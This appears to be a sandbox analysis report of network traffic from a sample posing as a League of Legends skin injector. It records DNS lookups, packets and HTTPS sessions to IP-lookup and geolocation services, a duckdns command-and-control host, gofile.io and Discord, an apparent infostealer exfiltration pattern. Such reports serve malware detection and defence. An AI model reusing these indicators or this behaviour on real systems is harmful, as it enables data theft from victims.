May 12, 2024 23:37:30.292062998 CEST	443	49763	162.159.135.232	192.168.2.4
May 12, 2024 23:37:30.343698978 CEST	49763	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:30.516469955 CEST	443	49762	31.14.70.245	192.168.2.4
May 12, 2024 23:37:30.516532898 CEST	49762	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:30.517924070 CEST	49762	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:30.517937899 CEST	443	49762	31.14.70.245	192.168.2.4
May 12, 2024 23:37:30.518198013 CEST	443	49762	31.14.70.245	192.168.2.4
May 12, 2024 23:37:30.519938946 CEST	49762	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:30.519963026 CEST	49762	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:30.520000935 CEST	443	49762	31.14.70.245	192.168.2.4
May 12, 2024 23:37:30.816521883 CEST	443	49763	162.159.135.232	192.168.2.4
May 12, 2024 23:37:30.816615105 CEST	443	49763	162.159.135.232	192.168.2.4
May 12, 2024 23:37:30.816674948 CEST	49763	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:30.817260981 CEST	49763	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:31.124264002 CEST	443	49762	31.14.70.245	192.168.2.4
May 12, 2024 23:37:31.124315977 CEST	443	49762	31.14.70.245	192.168.2.4
May 12, 2024 23:37:31.124376059 CEST	49762	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:31.125288010 CEST	49762	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:31.125307083 CEST	443	49762	31.14.70.245	192.168.2.4
May 12, 2024 23:37:31.125401020 CEST	49762	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:31.125406027 CEST	443	49762	31.14.70.245	192.168.2.4
May 12, 2024 23:37:31.189740896 CEST	49766	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:31.189780951 CEST	443	49766	31.14.70.245	192.168.2.4
May 12, 2024 23:37:31.189862013 CEST	49766	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:31.197396040 CEST	49766	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:31.197413921 CEST	443	49766	31.14.70.245	192.168.2.4
May 12, 2024 23:37:31.848659039 CEST	443	49766	31.14.70.245	192.168.2.4
May 12, 2024 23:37:31.848845959 CEST	49766	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:31.856034040 CEST	49766	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:31.856044054 CEST	443	49766	31.14.70.245	192.168.2.4
May 12, 2024 23:37:31.856270075 CEST	443	49766	31.14.70.245	192.168.2.4
May 12, 2024 23:37:31.857650995 CEST	49766	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:31.858030081 CEST	49766	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:31.858057022 CEST	443	49766	31.14.70.245	192.168.2.4
May 12, 2024 23:37:32.519439936 CEST	443	49766	31.14.70.245	192.168.2.4
May 12, 2024 23:37:32.519532919 CEST	443	49766	31.14.70.245	192.168.2.4
May 12, 2024 23:37:32.519709110 CEST	49766	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:32.520324945 CEST	49766	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:32.520344973 CEST	443	49766	31.14.70.245	192.168.2.4
May 12, 2024 23:37:32.520423889 CEST	49766	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:32.520430088 CEST	443	49766	31.14.70.245	192.168.2.4
May 12, 2024 23:37:34.301990032 CEST	49769	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:34.302016973 CEST	443	49769	31.14.70.245	192.168.2.4
May 12, 2024 23:37:34.302078962 CEST	49769	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:34.315675020 CEST	49769	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:34.315689087 CEST	443	49769	31.14.70.245	192.168.2.4
May 12, 2024 23:37:34.976496935 CEST	443	49769	31.14.70.245	192.168.2.4
May 12, 2024 23:37:34.976587057 CEST	49769	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:34.977978945 CEST	49769	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:34.977986097 CEST	443	49769	31.14.70.245	192.168.2.4
May 12, 2024 23:37:34.978188038 CEST	443	49769	31.14.70.245	192.168.2.4
May 12, 2024 23:37:34.979835987 CEST	49769	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:34.979868889 CEST	49769	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:34.979892969 CEST	443	49769	31.14.70.245	192.168.2.4
May 12, 2024 23:37:35.580054998 CEST	443	49769	31.14.70.245	192.168.2.4
May 12, 2024 23:37:35.580204010 CEST	443	49769	31.14.70.245	192.168.2.4
May 12, 2024 23:37:35.580374956 CEST	49769	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:35.588238955 CEST	49769	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:35.588251114 CEST	443	49769	31.14.70.245	192.168.2.4
May 12, 2024 23:37:35.773545980 CEST	49770	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:35.773597002 CEST	443	49770	162.159.135.232	192.168.2.4
May 12, 2024 23:37:35.773794889 CEST	49770	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:35.773889065 CEST	49770	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:35.773904085 CEST	443	49770	162.159.135.232	192.168.2.4
May 12, 2024 23:37:36.102917910 CEST	443	49770	162.159.135.232	192.168.2.4
May 12, 2024 23:37:36.103235006 CEST	49770	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:36.103252888 CEST	443	49770	162.159.135.232	192.168.2.4
May 12, 2024 23:37:36.104325056 CEST	443	49770	162.159.135.232	192.168.2.4
May 12, 2024 23:37:36.104386091 CEST	49770	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:36.104990005 CEST	49770	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:36.105047941 CEST	443	49770	162.159.135.232	192.168.2.4
May 12, 2024 23:37:36.105077982 CEST	49770	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:36.105158091 CEST	49770	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:36.105165005 CEST	443	49770	162.159.135.232	192.168.2.4
May 12, 2024 23:37:36.156353951 CEST	49770	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:36.187567949 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:37:36.544673920 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:37:36.588641882 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:37:36.588701963 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:37:36.640276909 CEST	443	49770	162.159.135.232	192.168.2.4
May 12, 2024 23:37:36.640404940 CEST	443	49770	162.159.135.232	192.168.2.4
May 12, 2024 23:37:36.640455961 CEST	49770	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:36.640966892 CEST	49770	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:36.849302053 CEST	49771	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:36.849329948 CEST	443	49771	162.159.135.232	192.168.2.4
May 12, 2024 23:37:36.849406958 CEST	49771	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:36.849642038 CEST	49771	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:36.849653006 CEST	443	49771	162.159.135.232	192.168.2.4
May 12, 2024 23:37:37.177889109 CEST	443	49771	162.159.135.232	192.168.2.4
May 12, 2024 23:37:37.178251028 CEST	49771	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:37.178270102 CEST	443	49771	162.159.135.232	192.168.2.4
May 12, 2024 23:37:37.179229975 CEST	443	49771	162.159.135.232	192.168.2.4
May 12, 2024 23:37:37.179290056 CEST	49771	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:37.179800034 CEST	49771	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:37.179855108 CEST	443	49771	162.159.135.232	192.168.2.4
May 12, 2024 23:37:37.179878950 CEST	49771	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:37.179928064 CEST	49771	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:37.179934025 CEST	443	49771	162.159.135.232	192.168.2.4
May 12, 2024 23:37:37.234328985 CEST	49771	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:37.741691113 CEST	443	49771	162.159.135.232	192.168.2.4
May 12, 2024 23:37:37.741806030 CEST	443	49771	162.159.135.232	192.168.2.4
May 12, 2024 23:37:37.741858006 CEST	49771	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:37.742275000 CEST	49771	443	192.168.2.4	162.159.135.232
May 12, 2024 23:38:01.546936035 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:38:01.904728889 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:38:01.952699900 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:38:01.952853918 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:38:26.984450102 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:38:27.316836119 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:38:27.316895008 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:38:27.344935894 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:38:52.484618902 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:38:52.682948112 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:38:52.685664892 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:38:52.844703913 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:39:17.984638929 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:39:18.056796074 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:39:18.057686090 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:39:18.345020056 CEST	9733	49731	92.44.20.216	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2024 23:37:01.540811062 CEST	59692	53	192.168.2.4	1.1.1.1
May 12, 2024 23:37:01.704122066 CEST	53	59692	1.1.1.1	192.168.2.4
May 12, 2024 23:37:06.094527006 CEST	56252	53	192.168.2.4	1.1.1.1
May 12, 2024 23:37:06.332418919 CEST	53	56252	1.1.1.1	192.168.2.4
May 12, 2024 23:37:08.616338015 CEST	60152	53	192.168.2.4	1.1.1.1
May 12, 2024 23:37:08.781970024 CEST	53	60152	1.1.1.1	192.168.2.4
May 12, 2024 23:37:11.537689924 CEST	63701	53	192.168.2.4	1.1.1.1
May 12, 2024 23:37:11.700736046 CEST	53	63701	1.1.1.1	192.168.2.4
May 12, 2024 23:37:12.516839981 CEST	52213	53	192.168.2.4	1.1.1.1
May 12, 2024 23:37:12.680293083 CEST	53	52213	1.1.1.1	192.168.2.4
May 12, 2024 23:37:14.339277029 CEST	50313	53	192.168.2.4	1.1.1.1
May 12, 2024 23:37:14.503179073 CEST	53	50313	1.1.1.1	192.168.2.4
May 12, 2024 23:37:17.284535885 CEST	63359	53	192.168.2.4	1.1.1.1
May 12, 2024 23:37:17.475147009 CEST	54003	53	192.168.2.4	1.1.1.1
May 12, 2024 23:37:17.589349031 CEST	53	63359	1.1.1.1	192.168.2.4
May 12, 2024 23:37:17.638062000 CEST	53	54003	1.1.1.1	192.168.2.4
May 12, 2024 23:37:25.926549911 CEST	59525	53	192.168.2.4	1.1.1.1
May 12, 2024 23:37:26.089946985 CEST	53	59525	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 12, 2024 23:37:01.540811062 CEST	192.168.2.4	1.1.1.1	0x94e0	Standard query (0)	api.github.com	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:06.094527006 CEST	192.168.2.4	1.1.1.1	0x6466	Standard query (0)	bardu3662.duckdns.org	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:08.616338015 CEST	192.168.2.4	1.1.1.1	0x229e	Standard query (0)	ipwho.is	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:11.537689924 CEST	192.168.2.4	1.1.1.1	0x7923	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:12.516839981 CEST	192.168.2.4	1.1.1.1	0x6eb4	Standard query (0)	api.gofile.io	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:14.339277029 CEST	192.168.2.4	1.1.1.1	0x42e5	Standard query (0)	geolocation-db.com	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:17.284535885 CEST	192.168.2.4	1.1.1.1	0x1a5b	Standard query (0)	store4.gofile.io	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:17.475147009 CEST	192.168.2.4	1.1.1.1	0xc60d	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:25.926549911 CEST	192.168.2.4	1.1.1.1	0xe0c0	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 12, 2024 23:37:01.704122066 CEST	1.1.1.1	192.168.2.4	0x94e0	No error (0)	api.github.com	140.82.116.5	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:06.332418919 CEST	1.1.1.1	192.168.2.4	0x6466	No error (0)	bardu3662.duckdns.org	92.44.20.216	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:07.844842911 CEST	1.1.1.1	192.168.2.4	0x6f0e	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:07.844842911 CEST	1.1.1.1	192.168.2.4	0x6f0e	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:08.781970024 CEST	1.1.1.1	192.168.2.4	0x229e	No error (0)	ipwho.is	147.135.36.89	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:11.700736046 CEST	1.1.1.1	192.168.2.4	0x7923	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:11.700736046 CEST	1.1.1.1	192.168.2.4	0x7923	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:11.700736046 CEST	1.1.1.1	192.168.2.4	0x7923	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:12.680293083 CEST	1.1.1.1	192.168.2.4	0x6eb4	No error (0)	api.gofile.io	51.38.43.18	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:12.680293083 CEST	1.1.1.1	192.168.2.4	0x6eb4	No error (0)	api.gofile.io	51.178.66.33	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:12.680293083 CEST	1.1.1.1	192.168.2.4	0x6eb4	No error (0)	api.gofile.io	151.80.29.83	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:14.503179073 CEST	1.1.1.1	192.168.2.4	0x42e5	No error (0)	geolocation-db.com	159.89.102.253	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:17.482584000 CEST	1.1.1.1	192.168.2.4	0x11b4	No error (0)	windowsupdatebg.s.llnwi.net	69.164.41.0	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:17.482584000 CEST	1.1.1.1	192.168.2.4	0x11b4	No error (0)	windowsupdatebg.s.llnwi.net	69.164.40.0	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:17.589349031 CEST	1.1.1.1	192.168.2.4	0x1a5b	No error (0)	store4.gofile.io	31.14.70.245	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:17.638062000 CEST	1.1.1.1	192.168.2.4	0xc60d	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:17.638062000 CEST	1.1.1.1	192.168.2.4	0xc60d	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:17.638062000 CEST	1.1.1.1	192.168.2.4	0xc60d	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:17.638062000 CEST	1.1.1.1	192.168.2.4	0xc60d	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:17.638062000 CEST	1.1.1.1	192.168.2.4	0xc60d	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:26.089946985 CEST	1.1.1.1	192.168.2.4	0xe0c0	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:26.089946985 CEST	1.1.1.1	192.168.2.4	0xe0c0	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
May 12, 2024 23:37:26.089946985 CEST	1.1.1.1	192.168.2.4	0xe0c0	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.github.com

ipwho.is

api.ipify.org

api.gofile.io

geolocation-db.com

discord.com

store4.gofile.io

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	140.82.116.5	443	2664	C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:02 UTC	203	OUT	GET /repos/R3nzTheCodeGOD/R3nzSkin/releases/latest HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: api.github.com Connection: Keep-Alive
2024-05-12 21:37:02 UTC	1311	IN	HTTP/1.1 200 OK Server: GitHub.com Date: Sun, 12 May 2024 21:37:02 GMT Content-Type: application/json; charset=utf-8 Cache-Control: public, max-age=60, s-maxage=60 Vary: Accept, Accept-Encoding, Accept, X-Requested-With ETag: W/"5105cb8d682cbc07ba67c90e4e25c88e0316d6c766890ed06f6efca907d96dae" Last-Modified: Wed, 03 Apr 2024 11:43:47 GMT X-GitHub-Media-Type: github.v3; format=json x-github-api-version-selected: 2022-11-28 Access-Control-Expose-Headers: ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: default-src 'none' X-RateLimit-Limit: 60 X-RateLimit-Remaining: 59 X-RateLimit-Reset: 1715553422 X-RateLimit-Resource: core X-RateLimit-Used: 1 Accept-Ranges: bytes Content-Length: 4032 X-GitHub-Request-Id: A570:320004:1F5F7267:1F9026C4:6641367E connection: close
2024-05-12 21:37:02 UTC	59	IN	Data Raw: 7b 0a 20 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 72 65 70 6f 73 2f 52 33 6e 7a 54 68 65 43 6f 64 65 47 4f 44 2f 52 33 6e Data Ascii: { "url": "https://api.github.com/repos/R3nzTheCodeGOD/R3n
2024-05-12 21:37:02 UTC	1370	IN	Data Raw: 7a 53 6b 69 6e 2f 72 65 6c 65 61 73 65 73 2f 31 34 39 35 36 37 39 32 39 22 2c 0a 20 20 22 61 73 73 65 74 73 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 72 65 70 6f 73 2f 52 33 6e 7a 54 68 65 43 6f 64 65 47 4f 44 2f 52 33 6e 7a 53 6b 69 6e 2f 72 65 6c 65 61 73 65 73 2f 31 34 39 35 36 37 39 32 39 2f 61 73 73 65 74 73 22 2c 0a 20 20 22 75 70 6c 6f 61 64 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 72 65 70 6f 73 2f 52 33 6e 7a 54 68 65 43 6f 64 65 47 4f 44 2f 52 33 6e 7a 53 6b 69 6e 2f 72 65 6c 65 61 73 65 73 2f 31 34 39 35 36 37 39 32 39 2f 61 73 73 65 74 73 7b 3f 6e 61 6d 65 2c 6c 61 62 65 6c 7d 22 2c 0a 20 20 22 68 74 6d 6c 5f 75 72 6c 22 3a 20 22 Data Ascii: zSkin/releases/149567929", "assets_url": "https://api.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/149567929/assets", "upload_url": "https://uploads.github.com/repos/R3nzTheCodeGOD/R3nzSkin/releases/149567929/assets{?name,label}", "html_url": "
2024-05-12 21:37:02 UTC	1370	IN	Data Raw: 64 65 47 4f 44 2f 72 65 63 65 69 76 65 64 5f 65 76 65 6e 74 73 22 2c 0a 20 20 20 20 22 74 79 70 65 22 3a 20 22 55 73 65 72 22 2c 0a 20 20 20 20 22 73 69 74 65 5f 61 64 6d 69 6e 22 3a 20 66 61 6c 73 65 0a 20 20 7d 2c 0a 20 20 22 6e 6f 64 65 5f 69 64 22 3a 20 22 52 45 5f 6b 77 44 4f 47 48 49 4a 5a 38 34 49 36 6a 6d 35 22 2c 0a 20 20 22 74 61 67 5f 6e 61 6d 65 22 3a 20 22 76 33 2e 33 2e 30 22 2c 0a 20 20 22 74 61 72 67 65 74 5f 63 6f 6d 6d 69 74 69 73 68 22 3a 20 22 6d 61 69 6e 22 2c 0a 20 20 22 6e 61 6d 65 22 3a 20 22 52 33 6e 7a 53 6b 69 6e 22 2c 0a 20 20 22 64 72 61 66 74 22 3a 20 66 61 6c 73 65 2c 0a 20 20 22 70 72 65 72 65 6c 65 61 73 65 22 3a 20 66 61 6c 73 65 2c 0a 20 20 22 63 72 65 61 74 65 64 5f 61 74 22 3a 20 22 32 30 32 34 2d 30 34 2d 30 33 54 31 Data Ascii: deGOD/received_events", "type": "User", "site_admin": false }, "node_id": "RE_kwDOGHIJZ84I6jm5", "tag_name": "v3.3.0", "target_commitish": "main", "name": "R3nzSkin", "draft": false, "prerelease": false, "created_at": "2024-04-03T1
2024-05-12 21:37:02 UTC	1233	IN	Data Raw: 69 74 68 75 62 2e 63 6f 6d 2f 75 73 65 72 73 2f 52 33 6e 7a 54 68 65 43 6f 64 65 47 4f 44 2f 6f 72 67 73 22 2c 0a 20 20 20 20 20 20 20 20 22 72 65 70 6f 73 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 75 73 65 72 73 2f 52 33 6e 7a 54 68 65 43 6f 64 65 47 4f 44 2f 72 65 70 6f 73 22 2c 0a 20 20 20 20 20 20 20 20 22 65 76 65 6e 74 73 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 75 73 65 72 73 2f 52 33 6e 7a 54 68 65 43 6f 64 65 47 4f 44 2f 65 76 65 6e 74 73 7b 2f 70 72 69 76 61 63 79 7d 22 2c 0a 20 20 20 20 20 20 20 20 22 72 65 63 65 69 76 65 64 5f 65 76 65 6e 74 73 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 75 73 Data Ascii: ithub.com/users/R3nzTheCodeGOD/orgs", "repos_url": "https://api.github.com/users/R3nzTheCodeGOD/repos", "events_url": "https://api.github.com/users/R3nzTheCodeGOD/events{/privacy}", "received_events_url": "https://api.github.com/us

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	147.135.36.89	443	7428	C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:09 UTC	150	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0 Host: ipwho.is Connection: Keep-Alive
2024-05-12 21:37:09 UTC	223	IN	HTTP/1.1 200 OK Date: Sun, 12 May 2024 21:37:09 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: ipwhois Access-Control-Allow-Headers: * X-Robots-Tag: noindex
2024-05-12 21:37:09 UTC	1045	IN	Data Raw: 34 30 39 0d 0a 7b 0a 20 20 20 20 22 41 62 6f 75 74 20 55 73 22 3a 20 22 68 74 74 70 73 3a 5c 2f 5c 2f 69 70 77 68 6f 69 73 2e 69 6f 22 2c 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 36 30 2e 31 31 22 2c 0a 20 20 20 20 22 73 75 63 63 65 73 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 74 79 70 65 22 3a 20 22 49 50 76 34 22 2c 0a 20 20 20 20 22 63 6f 6e 74 69 6e 65 6e 74 22 3a 20 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 0a 20 20 20 20 22 63 6f 6e 74 69 6e 65 6e 74 5f 63 6f 64 65 22 3a 20 22 4e 41 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 57 61 73 68 69 6e Data Ascii: 409{ "About Us": "https:\/\/ipwhois.io", "ip": "81.181.60.11", "success": true, "type": "IPv4", "continent": "North America", "continent_code": "NA", "country": "United States", "country_code": "US", "region": "Washin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	104.26.12.205	443	7556	C:\Users\user\AppData\Roaming\SearchServices.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:12 UTC	117	OUT	GET / HTTP/1.1 Accept-Encoding: identity Host: api.ipify.org User-Agent: Python-urllib/3.10 Connection: close
2024-05-12 21:37:12 UTC	211	IN	HTTP/1.1 200 OK Date: Sun, 12 May 2024 21:37:12 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 882d8c742d09838c-SEA
2024-05-12 21:37:12 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 36 30 2e 31 31 Data Ascii: 81.181.60.11

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	51.38.43.18	443	7556	C:\Users\user\AppData\Roaming\SearchServices.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:13 UTC	126	OUT	GET /getServer HTTP/1.1 Accept-Encoding: identity Host: api.gofile.io User-Agent: Python-urllib/3.10 Connection: close
2024-05-12 21:37:14 UTC	1092	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEAD Access-Control-Allow-Origin: * Content-Length: 42 Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Content-Type: application/json; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Date: Sun, 12 May 2024 21:37:14 GMT Etag: W/"2a-4631fb42WPfD17k7JGczdnxpWhM" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Connection: close
2024-05-12 21:37:14 UTC	42	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 61 74 61 22 3a 7b 22 73 65 72 76 65 72 22 3a 22 73 74 6f 72 65 34 22 7d 7d Data Ascii: {"status":"ok","data":{"server":"store4"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49737	159.89.102.253	443	7556	C:\Users\user\AppData\Roaming\SearchServices.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-12 21:37:16 UTC	140	OUT	GET /jsonp/81.181.60.11 HTTP/1.1 Accept-Encoding: identity Host: geolocation-db.com User-Agent: Python-urllib/3.10 Connection: close
2024-05-12 21:37:16 UTC	206	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Sun, 12 May 2024 21:37:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: *
